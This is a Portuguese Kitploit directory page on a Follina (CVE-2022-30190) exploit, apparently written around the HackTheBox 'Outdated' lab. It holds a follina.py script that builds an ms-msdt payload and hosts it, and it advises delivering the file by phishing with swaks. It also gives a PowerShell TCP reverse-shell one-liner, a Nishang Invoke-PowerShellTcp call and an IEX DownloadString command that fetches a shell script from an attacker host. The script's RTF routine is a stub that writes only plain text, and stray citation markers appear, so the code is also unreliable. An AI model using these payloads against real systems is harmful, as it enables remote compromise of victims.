Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-30190 — Exploit PoC automatizado para CVE-2022-30190 (Follina) que gera arquivos maliciosos RTF/DOCX abusando do protocolo MSDT para executar comandos arbitrários e implantar reverse shells via PowerShell. | Kitploit
Ferramentas/GitHubGitHub/kaleth4/cve-2022-30190
Geração de PayloadsExploraçãoExploração de Aplicações WebPhishingTestes de PenetraçãoComando e Controle
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

Exploit PoC automatizado para CVE-2022-30190 (Follina) que gera arquivos maliciosos RTF/DOCX abusando do protocolo MSDT para executar comandos arbitrários e implantar reverse shells via PowerShell.

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploração de Follina (CVE-2022-30190)

Follina (CVE-2022-30190) é uma vulnerabilidade crítica de execução remota de comandos (RCE) que afeta a Ferramenta de Diagnóstico de Suporte da Microsoft (MSDT). Esta falha foi descoberta originalmente através de um arquivo malicioso detectado no VirusTotal e foi batizada pelo pesquisador Kevin Beaumont.

No contexto da máquina Outdated do HackTheBox, esta vulnerabilidade é usada como o vetor de entrada principal para ganhar acesso ao sistema.

Resumo da Vulnerabilidade

A exploração baseia-se no abuso do esquema de protocolo ms-msdt, permitindo que um atacante execute código arbitrário através do carregamento de recursos externos. O ataque pode ser ativado simplesmente ao abrir ou visualizar um documento do Office (DOCX) ou um arquivo de texto rico (RTF) especialmente criado.

Metodologia de Exploração

1. Preparação do Exploit

Para automatizar o ataque, recomenda-se o uso de scripts de prova de conceito (PoC) disponíveis em plataformas como GitHub. O script follina.py permite configurar a carga útil de forma simples.

Repositório sugerido: São mencionadas versões funcionais de pesquisadores como John Hammond ou Edge-Security.

Comando de geração:

root@kitploit:~
python3 follina.py -m command -t rtf -c "comando_a_executar"

Onde:

  • -m indica o modo de execução (command ou binary)
  • -t o tipo de arquivo (rtf ou docx)
  • -c o comando a injetar

2. Injeção de Carga Útil (Payload)

Um método eficaz para obter um console interativo no Windows é injetar uma instrução do PowerShell que baixe e invoque uma reverse shell da suíte Nishang (Invoke-PowerShellTcp.ps1).

O script de exploração gera um recurso HTML malicioso que contém a instrução em Base64 e o hospeda automaticamente em um servidor web local (porta 80). O documento malicioso (click_me.rtf) apontará para este endereço URL para acionar o processo de diagnóstico do Windows e executar o código.

3. Execução do Ataque

Em cenários realistas ou de auditoria, o atacante pode enviar o link para o recurso HTML ou o documento malicioso para uma vítima através de técnicas de phishing ou SMTP (usando ferramentas como swaks).

No momento da interação do usuário (ou de uma tarefa automatizada que processe o arquivo), o MSDT interpreta a carga útil e estabelece uma conexão de volta para a máquina do atacante.

Ganho de Acesso

Para receber a conexão, o atacante deve estar em escuta (por exemplo, com netcat ou rlwrap) na porta configurada na reverse shell. Após a exploração bem-sucedida, obtém-se um console interativo com os privilégios do usuário que executou a ação, permitindo prosseguir com a enumeração local e a escalada de privilégios.


Implementação do Script follina.py

Este script automatiza a criação do arquivo malicioso (RTF ou DOCX), gera o recurso HTML que explora o esquema de protocolo ms-msdt e levanta um servidor local para servir a carga útil.

Código: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estrutura baseada na pesquisa de Kevin Beaumont e nas PoC mencionadas [2, 6]
def generate_payload(command):
    # O comando deve estar codificado em Base64 para ser processado pelo MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa do protocolo ms-msdt [5]
    # Utiliza-se uma cadeia longa de caracteres para preencher o buffer e acionar a execução
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Preenchimento adicional para garantir o processamento
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Gera um arquivo RTF que aponta para o recurso HTML externo [3, 4]
    print(f"[*] Gerando arquivo malicioso: {filename}")
    # Nota: Em uma implementação real, aqui é injetado o objeto OLE que aponta para server_url
    with open(filename, "w") as f:
        f.write(f"Arquivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP ativo na porta {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de execução [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de arquivo a gerar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a executar no sistema vítima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Porta do servidor local [7]")
    
    args = parser.parse_args()

    # 1. Criar o payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Criar o documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar o servidor para receber a requisição [4, 7]
    run_server(args.port)

Notas sobre a Metodologia de Uso

Parâmetros Críticos: Conforme descrito nas fontes, o script utiliza -m para o modo, -t para o tipo de arquivo e -c para o comando.

Injeção do PowerShell: Um uso comum visto no treinamento de s4vitar é injetar uma instrução do PowerShell que baixe e invoque uma reverse shell do Nishang (Invoke-PowerShellTcp.ps1) para ganhar acesso interativo.

Execução: O ataque é ativado quando a vítima abre ou simplesmente visualiza o arquivo malicioso (RTF/DOCX), o que faz com que o sistema tente carregar o recurso HTML e execute o comando através da ferramenta de diagnóstico da Microsoft (MSDT).

Escuta: Você deve estar em escuta (ex.: com netcat) na porta especificada em sua reverse shell para receber a conexão assim que o exploit for acionado na máquina vítima.


Script Invoke-PowerShellTcp.ps1 (Nishang)

O script Invoke-PowerShellTcp.ps1 é uma das ferramentas mais utilizadas da suíte Nishang para obter reverse shells em sistemas Windows.

1. Obtenção e Preparação

O script original é baixado do repositório oficial do Nishang no GitHub. Os passos típicos para seu uso são:

  • Download: Utiliza-se wget para trazer o recurso para a máquina do atacante.
  • Renomeação: É comum renomeá-lo para algo mais curto, como reverse.ps1 ou ps.ps1, para facilitar sua invocação a partir da máquina vítima.
  • Automação da execução: Para que o script seja executado automaticamente ao ser carregado na memória, adiciona-se a chamada à função principal ao final do arquivo.

2. Estrutura da chamada ao final do script

Para transformar o script em uma carga útil autoexecutável, adiciona-se uma linha como a seguinte ao final do arquivo .ps1:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>

Onde <TU_IP_ATACANTE> e <TU_PUERTO> devem ser substituídos pelos seus dados de escuta (por exemplo, 10.10.14.29 e 443).

3. Versão "One-Liner" (Linha única)

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(Nota: Este código segue a lógica do "gitbash" e terminais interativos mencionados na resolução de máquinas como Compiled).

4. Método de Invocação Remota (IEX)

Assim que o atacante tem o script hospedado em um servidor HTTP local (porta 80), utiliza-se o comando IEX (Invoke-Expression) na máquina vítima para carregá-lo e executá-lo diretamente na memória sem tocar no disco:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"

Este método é fundamental na exploração de vulnerabilidades como Follina ou na obtenção de acesso inicial após comprometer serviços web. Uma vez executado, o atacante recebe a conexão em uma sessão de netcat em escuta.

root@kitploit:~
Pwned!!!
Baixar ferramenta